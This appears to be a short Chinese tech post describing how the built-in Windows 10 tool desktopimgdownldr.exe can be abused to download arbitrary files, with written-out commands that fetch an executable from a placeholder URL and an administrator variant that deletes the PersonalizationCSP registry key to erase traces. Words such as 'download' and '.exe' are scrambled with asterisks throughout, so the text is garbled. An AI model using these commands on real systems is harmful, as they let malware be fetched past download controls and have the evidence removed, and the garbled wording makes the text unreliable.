前几天在国外网站看到了一篇文章,用desktopimgdownldr*ex.e**来*载下**文件,这个技巧也收录在了GITHUB里边的LOLBAS项目。在这之前,windows自带的*载下**命令有certutil和bitsadmin,本头条都有介绍。
desktopimgdownldr*ex.e**,位于Win10的 system32文件夹中,原本用于设置锁定屏幕或桌面背景图像的。
普通用户可以用:
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr*ex.e** /lockscreenurl:http://url/xxx*ex.e** /eventName:desktopimgdownldr
这样来载文件。

你可以把c:\windows\temp来改成一个普通用户可写的目录。
*载下**的文件存放于:
C:\Windows\Temp\Personalization\LockScreenImage\x_%random%*ex.e**.
管理员用户会多写一个注册表项,所以管理员最好的命令是:
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr*ex.e** /lockscreenurl:https://url/file*ex.e** /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f
我做过了测试,在win10 1909下做的,结果*载下**目录Personalization\LockScreenImage是建成功了,但没有*载下**到文件,并且当前的cmd窗口执行此条命令后变得不可上网。
应当这条命令没有什么大问题,可能是我电脑设置问题,大家可以自行测试一下。